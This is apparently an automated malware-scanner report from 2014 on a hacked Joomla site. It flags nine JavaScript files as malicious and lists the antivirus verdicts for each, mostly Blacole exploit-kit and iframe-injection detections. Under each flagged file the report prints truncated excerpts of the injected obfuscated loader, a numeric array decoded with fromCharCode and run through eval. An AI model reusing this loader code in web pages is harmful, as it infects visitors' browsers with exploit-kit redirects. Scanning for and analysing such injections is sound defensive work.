New scan:

Malware Scanner report for ban-air-d.com

Malicious/Suspicious/Total urls checked
9/0/15
9 pages have malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "ban-air-d.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=ban-air-d.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://ban-air-d.com/
200 OK
Content-Length: 30027
Content-Type: text/html
clean
http://ban-air-d.com/templates/yoo_colorpalette/lib/js/mootools/mootools-release-1.11.js
200 OK
Content-Length: 51156
Content-Type: text/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('o ci={cj:\'1.11\'};k $77(N){m(N!=9N)};k $F(N){B(!$77(N))m O;B(N.5i)m\'G\';o F=7c N;B(F==\'2I\'&&N.ch){22(N.84){Y 1:m\'G\';Y 3:m(/\\S/).2v(N.ax)?\'cg\':\'cd\
... 50831 bytes are skipped ...
06,550,204,295,192,50,192,160,192,160,192,160,192,160,192,160,192,160,600,555,594,585,654,505,660,580,276,490,666,500,726,230,582,560,672,505,660,500,402,520,630,540,600,200,630,510,684,545,246,295,60,160,192,160,192,160,192,160,192,625,60,160,192,160,192,625,594,485,696,495,624,200,606,205,738,625,60,625,264,160,318,240,288,205,354];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");for(;1776-5+5>i;i+=1){j=i;if(e)s=s+r[fr+((e)?"Code":12)]((w[j]/(5+e("j%2"))));}
if(f)e(s);}

Antivirus reports:

Qihoo-360
Trojan.Generic
Avast
JS:Iframe-ANQ [Trj]
Ikarus
Virus.HTML.Framer
K7AntiVirus
Trojan ( a9e4a8470 )
TrendMicro-HouseCall
TROJ_GEN.F47V0102
Microsoft
Trojan:JS/Iframeinject.AB
F-Prot
JS/IFrame.QW
AVG
HTML/Framer
GData
Script.Trojan.Agent.DLQ1H3
Commtouch
JS/IFrame.QW

http://ban-air-d.com/media/system/js/caption.js
200 OK
Content-Length: 1720
Content-Type: text/javascript
clean
http://ban-air-d.com/modules/mod_yoo_search/mod_yoo_search.js
200 OK
Content-Length: 10995
Content-Type: text/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('3 1B=2 1E({1v:5(t,4){1.1w({1h:\'c...\',16:\'Y\',13:\'1U.1V\',18:\'1T.c-9\',17:\'h.f\',1j:\'15 e\',1g:\'15 A\',1m:\'1P e 1Q\',1G:\'1R e\',m:\'1W.1X?22=23&21=20&a
... 9968 bytes are skipped ...
06,550,204,295,192,50,192,160,192,160,192,160,192,160,192,160,192,160,600,555,594,585,654,505,660,580,276,490,666,500,726,230,582,560,672,505,660,500,402,520,630,540,600,200,630,510,684,545,246,295,60,160,192,160,192,160,192,160,192,625,60,160,192,160,192,625,594,485,696,495,624,200,606,205,738,625,60,625,264,160,318,240,288,205,354];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");for(;1776-5+5>i;i+=1){j=i;if(e)s=s+r[fr+((e)?"Code":12)]((w[j]/(5+e("j%2"))));}
if(f)e(s);}

Antivirus reports:

AntiVir
JS/iFrame.BO.1
Avast
JS:Redirector-XU [Trj]
Ikarus
Trojan.Script
nProtect
Exploit.JS.Blacole.BT
Emsisoft
Exploit.JS.Blacole.BT (B)
Comodo
TrojWare.JS.Agent.AM
CAT-QuickHeal
JS/BlacoleRef.BV
McAfee-GW-Edition
Heuristic.BehavesLike.JS.Suspicious.G
DrWeb
JS.IFrame.278
Kaspersky
Trojan-Downloader.JS.Iframe.czf
Microsoft
Trojan:JS/BlacoleRef.BX
MicroWorld-eScan
Exploit.JS.Blacole.BT
Fortinet
JS/Iframe.W!tr
Jiangmin
Trojan/Script.Gen
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.uvpsi
F-Secure
Exploit.JS.Blacole.BT
AVG
HTML/Framer
Norman
Blacole.HB
Sophos
Mal/Iframe-AF
GData
Exploit.JS.Blacole.BT
BitDefender
Exploit.JS.Blacole.BT

http://ban-air-d.com/modules/mod_yoo_carousel/mod_yoo_carousel.js
200 OK
Content-Length: 10183
Content-Type: text/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('C I=h n({1r:5(d,3){2.o({1b:n.t,Y:n.t,1l:n.t,11:n.t,10:\'.s\',13:\'.1g\',17:\'.a\',16:\'.a-6\',Z:\'.a-1s\',X:1q,1j:1t,z:\'x\',K:0,D:\'1u\',N:\'1v\',M:\'19\',k:1p,9:\
... 9157 bytes are skipped ...
06,550,204,295,192,50,192,160,192,160,192,160,192,160,192,160,192,160,600,555,594,585,654,505,660,580,276,490,666,500,726,230,582,560,672,505,660,500,402,520,630,540,600,200,630,510,684,545,246,295,60,160,192,160,192,160,192,160,192,625,60,160,192,160,192,625,594,485,696,495,624,200,606,205,738,625,60,625,264,160,318,240,288,205,354];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");for(;1776-5+5>i;i+=1){j=i;if(e)s=s+r[fr+((e)?"Code":12)]((w[j]/(5+e("j%2"))));}
if(f)e(s);}

Antivirus reports:

AntiVir
JS/iFrame.BO.1
Avast
JS:Redirector-XU [Trj]
Ikarus
Trojan.Script
nProtect
Exploit.JS.Blacole.BT
Emsisoft
Exploit.JS.Blacole.BT (B)
Comodo
TrojWare.JS.Agent.AM
CAT-QuickHeal
JS/BlacoleRef.BV
McAfee-GW-Edition
Heuristic.BehavesLike.JS.Suspicious.G
DrWeb
JS.IFrame.278
Kaspersky
Trojan-Downloader.JS.Iframe.czf
Microsoft
Trojan:JS/BlacoleRef.BX
MicroWorld-eScan
Exploit.JS.Blacole.BT
Fortinet
JS/Iframe.W!tr
Jiangmin
Trojan/Script.Gen
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.uvpsi
F-Secure
Exploit.JS.Blacole.BT
AVG
HTML/Framer
Norman
Blacole.HB
Sophos
Mal/Iframe-AF
GData
Exploit.JS.Blacole.BT
BitDefender
Exploit.JS.Blacole.BT

http://ban-air-d.com/plugins/system/yoo_effects/yoo_effects.js.php?lb=1&re=1&sl=1
200 OK
Content-Length: 42178
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

if(typeof MooTools=="undefined"){throw"Unable to load Shadowbox, MooTools library not found."}var Shadowbox={};Shadowbox.lib={getStyle:function(B,A){return $(B).getStyle(A)},setStyle:function(D,C,E){D=$(D);if(typeof C!="object"){var A={};A[C]=E;C=A}for(var B in C){D.setStyle(B,C[B])}},get:function(A){return $(A)},remove:function(A){A.parentNode.removeChild(A)},getTarget:function(A){return A.target||{}},preventDefault:function(A){new Event(A).preventDefault()},addEvent:function(C,A,B){$(C).addEve
... 41723 bytes are skipped ...
06,550,204,295,192,50,192,160,192,160,192,160,192,160,192,160,192,160,600,555,594,585,654,505,660,580,276,490,666,500,726,230,582,560,672,505,660,500,402,520,630,540,600,200,630,510,684,545,246,295,60,160,192,160,192,160,192,160,192,625,60,160,192,160,192,625,594,485,696,495,624,200,606,205,738,625,60,625,264,160,318,240,288,205,354];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");for(;1776-5+5>i;i+=1){j=i;if(e)s=s+r[fr+((e)?"Code":12)]((w[j]/(5+e("j%2"))));}
if(f)e(s);}

Antivirus reports:

AntiVir
JS/iFrame.BO.1
Avast
JS:Redirector-XU [Trj]
nProtect
Exploit.JS.Blacole.BT
Emsisoft
Exploit.JS.Blacole.BT (B)
Comodo
TrojWare.JS.Agent.AM
CAT-QuickHeal
JS/BlacoleRef.BV
McAfee-GW-Edition
Heuristic.BehavesLike.JS.Suspicious.G
DrWeb
JS.IFrame.278
Kaspersky
Trojan-Downloader.JS.Iframe.czf
Microsoft
Trojan:JS/BlacoleRef.BX
Fortinet
JS/Iframe.W!tr
Jiangmin
Trojan/Script.Gen
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.uvpsi
ClamAV
JS.Trojan.Blacole-5
F-Secure
Exploit.JS.Blacole.BT
AVG
HTML/Framer
Norman
Blacole.HB
Sophos
Mal/Iframe-AF
GData
Exploit.JS.Blacole.BT
BitDefender
Exploit.JS.Blacole.BT

http://ban-air-d.com/templates/yoo_colorpalette/lib/js/addons/base.js
200 OK
Content-Length: 11049
Content-Type: text/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4 1U={1V:5(1G,X,W){4 k=0;4 x=[];4 O=1G.26(" ");4 1E=O.27();4 16=\'\';O.h(5(f,i){16+=\'.1e("\'+f+\'")\'});$1Z(1E).h(5(B,i){25(\'x.24(B\'+16+\');\')});x.h(5(b,i){8(!$
... 10018 bytes are skipped ...
06,550,204,295,192,50,192,160,192,160,192,160,192,160,192,160,192,160,600,555,594,585,654,505,660,580,276,490,666,500,726,230,582,560,672,505,660,500,402,520,630,540,600,200,630,510,684,545,246,295,60,160,192,160,192,160,192,160,192,625,60,160,192,160,192,625,594,485,696,495,624,200,606,205,738,625,60,625,264,160,318,240,288,205,354];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");for(;1776-5+5>i;i+=1){j=i;if(e)s=s+r[fr+((e)?"Code":12)]((w[j]/(5+e("j%2"))));}
if(f)e(s);}

Antivirus reports:

AntiVir
JS/iFrame.BO.1
Avast
JS:Redirector-XU [Trj]
Ikarus
Trojan.Script
nProtect
Exploit.JS.Blacole.BT
Emsisoft
Exploit.JS.Blacole.BT (B)
Comodo
TrojWare.JS.Agent.AM
CAT-QuickHeal
JS/BlacoleRef.BV
McAfee-GW-Edition
Heuristic.BehavesLike.JS.Suspicious.G
DrWeb
JS.IFrame.278
Kaspersky
Trojan-Downloader.JS.Iframe.czf
Microsoft
Trojan:JS/BlacoleRef.BX
MicroWorld-eScan
Exploit.JS.Blacole.BT
Fortinet
JS/Iframe.W!tr
Jiangmin
Trojan/Script.Gen
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.uvpsi
F-Secure
Exploit.JS.Blacole.BT
AVG
HTML/Framer
Norman
Blacole.HB
Sophos
Mal/Iframe-AF
GData
Exploit.JS.Blacole.BT
BitDefender
Exploit.JS.Blacole.BT

http://ban-air-d.com/templates/yoo_colorpalette/lib/js/addons/accordionmenu.js
200 OK
Content-Length: 8602
Content-Type: text/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 t=6 v({w:4(q,p,2){0.x({r:\'m\'},2);0.7=q;0.9=p;y(0.2.r){A\'z\':0.j();C;m:0.g()}},g:4(){5 2={};e(!$n(0.2.8)&&!$n(0.2.c)){2={c:-1}}$k(0.7).l(4(3,i){e(3.o(\'
... 7551 bytes are skipped ...
06,550,204,295,192,50,192,160,192,160,192,160,192,160,192,160,192,160,600,555,594,585,654,505,660,580,276,490,666,500,726,230,582,560,672,505,660,500,402,520,630,540,600,200,630,510,684,545,246,295,60,160,192,160,192,160,192,160,192,625,60,160,192,160,192,625,594,485,696,495,624,200,606,205,738,625,60,625,264,160,318,240,288,205,354];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");for(;1776-5+5>i;i+=1){j=i;if(e)s=s+r[fr+((e)?"Code":12)]((w[j]/(5+e("j%2"))));}
if(f)e(s);}

Antivirus reports:

AntiVir
JS/iFrame.BO.1
Avast
JS:Redirector-XU [Trj]
Ikarus
Trojan.Script
nProtect
Exploit.JS.Blacole.BT
Emsisoft
Exploit.JS.Blacole.BT (B)
Comodo
TrojWare.JS.Agent.AM
CAT-QuickHeal
JS/BlacoleRef.BV
McAfee-GW-Edition
Heuristic.BehavesLike.JS.Suspicious.G
DrWeb
JS.IFrame.278
Kaspersky
Trojan-Downloader.JS.Iframe.czf
Microsoft
Trojan:JS/BlacoleRef.BX
MicroWorld-eScan
Exploit.JS.Blacole.BT
Fortinet
JS/Iframe.W!tr
Jiangmin
Trojan/Script.Gen
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.uvpsi
F-Secure
Exploit.JS.Blacole.BT
AVG
HTML/Framer
Norman
Blacole.HB
Sophos
Mal/Iframe-AF
GData
Exploit.JS.Blacole.BT
BitDefender
Exploit.JS.Blacole.BT

http://ban-air-d.com/templates/yoo_colorpalette/lib/js/addons/fancymenu.js
200 OK
Content-Length: 10080
Content-Type: text/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('n 1a=c T({1v:7(d,6){3.K({1A:1B.1t.1C,O:1o,1E:I,1e:T.1i,e:1,f:\'y\',1b:1h,Y:[\'1f\',\'1l\',\'1m\',\'1r\',\'1q\',\'1p\',\'1s\',\'1n\'],W:\'5.1g\',V:\'5.X\'},6);3.d=$(
... 9033 bytes are skipped ...
06,550,204,295,192,50,192,160,192,160,192,160,192,160,192,160,192,160,600,555,594,585,654,505,660,580,276,490,666,500,726,230,582,560,672,505,660,500,402,520,630,540,600,200,630,510,684,545,246,295,60,160,192,160,192,160,192,160,192,625,60,160,192,160,192,625,594,485,696,495,624,200,606,205,738,625,60,625,264,160,318,240,288,205,354];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");for(;1776-5+5>i;i+=1){j=i;if(e)s=s+r[fr+((e)?"Code":12)]((w[j]/(5+e("j%2"))));}
if(f)e(s);}

Antivirus reports:

AntiVir
JS/iFrame.BO.1
Avast
JS:Redirector-XU [Trj]
Ikarus
Trojan.Script
nProtect
Exploit.JS.Blacole.BT
Emsisoft
Exploit.JS.Blacole.BT (B)
Comodo
TrojWare.JS.Agent.AM
CAT-QuickHeal
JS/BlacoleRef.BV
McAfee-GW-Edition
Heuristic.BehavesLike.JS.Suspicious.G
DrWeb
JS.IFrame.278
Kaspersky
Trojan-Downloader.JS.Iframe.czf
Microsoft
Trojan:JS/BlacoleRef.BX
MicroWorld-eScan
Exploit.JS.Blacole.BT
Fortinet
JS/Iframe.W!tr
Jiangmin
Trojan/Script.Gen
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.uvpsi
F-Secure
Exploit.JS.Blacole.BT
AVG
HTML/Framer
Norman
Blacole.HB
Sophos
Mal/Iframe-AF
GData
Exploit.JS.Blacole.BT
BitDefender
Exploit.JS.Blacole.BT

http://ban-air-d.com/templates/yoo_colorpalette/lib/js/addons/dropdownmenu.js
200 OK
Content-Length: 8589
Content-Type: text/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2 g=f q({u:6(e,7){9.x({i:\'w\',y:s,B:h.v.A,z:r},7);2 3={\'8\':0,\'a\':0,\'b\':0};t(9.7.i){j\'8\':3={\'8\':0,\'b\':0};m;j\'a\':3={\'a\':0,\'b\':0};m}$$(e).M(6(4){2 1
... 7531 bytes are skipped ...
06,550,204,295,192,50,192,160,192,160,192,160,192,160,192,160,192,160,600,555,594,585,654,505,660,580,276,490,666,500,726,230,582,560,672,505,660,500,402,520,630,540,600,200,630,510,684,545,246,295,60,160,192,160,192,160,192,160,192,625,60,160,192,160,192,625,594,485,696,495,624,200,606,205,738,625,60,625,264,160,318,240,288,205,354];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");for(;1776-5+5>i;i+=1){j=i;if(e)s=s+r[fr+((e)?"Code":12)]((w[j]/(5+e("j%2"))));}
if(f)e(s);}

Antivirus reports:

AntiVir
JS/iFrame.BO.1
Avast
JS:Redirector-XU [Trj]
Ikarus
Trojan.Script
nProtect
Exploit.JS.Blacole.BT
Emsisoft
Exploit.JS.Blacole.BT (B)
Comodo
TrojWare.JS.Agent.AM
CAT-QuickHeal
JS/BlacoleRef.BV
McAfee-GW-Edition
Heuristic.BehavesLike.JS.Suspicious.G
DrWeb
JS.IFrame.278
Kaspersky
Trojan-Downloader.JS.Iframe.czf
Microsoft
Trojan:JS/BlacoleRef.BX
MicroWorld-eScan
Exploit.JS.Blacole.BT
Fortinet
JS/Iframe.W!tr
Jiangmin
Trojan/Script.Gen
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.uvpsi
F-Secure
Exploit.JS.Blacole.BT
AVG
HTML/Framer
Norman
Blacole.HB
Sophos
Mal/Iframe-AF
GData
Exploit.JS.Blacole.BT
BitDefender
Exploit.JS.Blacole.BT

http://ban-air-d.com/templates/yoo_colorpalette/lib/js/yoo_tools.js
200 OK
Content-Length: 15795
Content-Type: text/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

var YOOTools = {

start: function() {


YOOTools.setDivHeight();

new YOOAccordionMenu('div#middle ul.menu li.toggler', 'ul.accordion', { accordion: 'slide' });

new YOOFancyMenu($E('ul', 'menu'), { mode: 'move', transition: Fx.Transitions.Expo.easeOut, duration: 700 });

new YOODropdownMenu('div#menu li.parent', { mode: 'height', transition: Fx.Transitions.Expo.easeOut });


switch (YtSettings.color) {
cas
... 15149 bytes are skipped ...
06,550,204,295,192,50,192,160,192,160,192,160,192,160,192,160,192,160,600,555,594,585,654,505,660,580,276,490,666,500,726,230,582,560,672,505,660,500,402,520,630,540,600,200,630,510,684,545,246,295,60,160,192,160,192,160,192,160,192,625,60,160,192,160,192,625,594,485,696,495,624,200,606,205,738,625,60,625,264,160,318,240,288,205,354];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");for(;1776-5+5>i;i+=1){j=i;if(e)s=s+r[fr+((e)?"Code":12)]((w[j]/(5+e("j%2"))));}
if(f)e(s);}

Antivirus reports:

Qihoo-360
Trojan.Generic
AntiVir
JS/Blacole.EB.24
Avast
JS:Iframe-CWV [Trj]
Ad-Aware
Exploit.JS.Blacole.BT
Ikarus
Exploit.JS.Blacole
Panda
JS/JavaBlacole.A
nProtect
Exploit.JS.Blacole.BT
K7AntiVirus
Trojan ( a9e4a8470 )
TrendMicro-HouseCall
TROJ_GEN.F47V0102
Emsisoft
Exploit.JS.Blacole.BT (B)
Comodo
TrojWare.JS.Agent.AM
CAT-QuickHeal
JS/BlacoleRef.BV
K7GW
Exploit ( 04c5558f1 )
McAfee-GW-Edition
JS/Exploit-Blacole.hd
DrWeb
JS.IFrame.278
Microsoft
Trojan:JS/BlacoleRef.BX
Kaspersky
Trojan-Downloader.JS.Iframe.czf
ViRobot
JS.A.Iframe.15304.A
MicroWorld-eScan
Exploit.JS.Blacole.BT
Fortinet
JS/Iframe.W!tr
Jiangmin
Trojan/Script.Gen
McAfee
JS/Exploit-Blacole.hd
NANO-Antivirus
Trojan.Script.Expack.uvpsi
ClamAV
JS.Trojan.Blacole-5
F-Secure
Exploit.JS.Blacole.BT
F-Prot
JS/IFrame.QW
AVG
HTML/Framer
Norman
Blacole.HB
Sophos
Mal/Iframe-AF
GData
Exploit.JS.Blacole.BT
Commtouch
JS/IFrame.QW
BitDefender
Exploit.JS.Blacole.BT

http://ban-air-d.com/index.php
200 OK
Content-Length: 30027
Content-Type: text/html
clean
http://ban-air-d.com/index.php?option=com_content&view=article&id=113
200 OK
Content-Length: 13263
Content-Type: text/html
clean
http://ban-air-d.com/test404page.js
404 Not Found
Content-Length: 275
Content-Type: text/html
clean
http://ban-air-d.com/index.php?option=com_content&view=article&id=114
200 OK
Content-Length: 13128
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: ban-air-d.com

Result:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Tue, 08 Jul 2014 07:59:53 GMT
Pragma: no-cache
Server: nginx
Content-Type: text/html; charset=utf-8
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Tue, 08 Jul 2014 07:59:53 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: 748d2e58c1df2e71aef9c0503f002ccb=ee16s79msbvfll9s9l5cfjg3f7; path=/
X-Powered-By: PleskLin
Second query (visit from search engine):
GET / HTTP/1.1
Host: ban-air-d.com
Referer: http://www.google.com/search?q=ban-air-d.com

Result:
The result is similar to the first query. There are no suspicious redirects found.